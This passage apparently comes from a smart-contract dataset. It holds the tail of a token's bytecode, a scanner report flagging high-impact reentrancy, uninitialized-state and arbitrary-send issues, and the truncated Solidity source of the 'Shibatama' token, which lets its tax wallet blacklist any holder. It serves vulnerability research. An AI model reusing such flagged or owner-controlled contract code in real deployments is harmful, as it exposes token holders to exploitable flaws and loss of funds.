4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f304ce8744a448f975d7ede4ab4d9a8998ea91598281286e7dadd9b68bb274f64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,161 |
0x60faE683982A89241b290a7f7b12A7C06ce41a9c | /**
*Submitted for verification at Etherscan.io on 2022-02-19
*/
//SPDX-License-Identifier: UNLICENSED
/**
ShibaTama
During the Meiji Restoration, western puppy breeds were imported, they became so popular that almost no pure Shiba remained. To save Shiba Inus, Inugami, the god of dogs cast a spell to give 3,999 new born pure Shibas the ability to dress like their owners, allowing the puppies to grow with them as very close friends. These puppies are the Shiba Tamas. All Shiba Tamas blended in perfectly until hunters from around the world came to catch’em all, and trapped them inside the Ethereum Blockchain. The Shiba Tama House is now sending a distress signal to everyone of you to come save Shiba Tama. Join our community and rescue these cutes Shibas!
Twitter: https://twitter.com/shibatamatoken
Telegram: https://t.me/shibatamatoken
Website: https://shibatama.io/
Instagram: https://www.instagram.com/shibatamatoken/
Chart: https://www.dextools.io/app/ether/pair-explorer/0xbb19720a5ded396ce03aceffc12661883a6b463e
**/
pragma solidity ^0.8.12;
uint256 constant INITIAL_TAX=10;
uint256 constant TOTAL_SUPPLY=1400000;
string constant TOKEN_SYMBOL="SHIBATAMA";
string constant TOKEN_NAME="Shibatama";
uint8 constant DECIMALS=8;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ShibatamaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _maxWallet= TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(100);
_maxWallet=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
require(!bots[from] && !bots[to], "This account is blacklisted");
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount < _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function addToWhitelist(address buyer) public onlyTaxCollector{
_isExcludedFromFee[buyer]=true;
}
function removeFromWhitelist(address buyer) public onlyTaxCollector{
_isExcludedFromFee[buyer]=false;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function blockBots(address[] memory bots_) public onlyTaxCollector {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyTaxCollector {
bots[notbot] = false;
}
function createUniswapPair() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
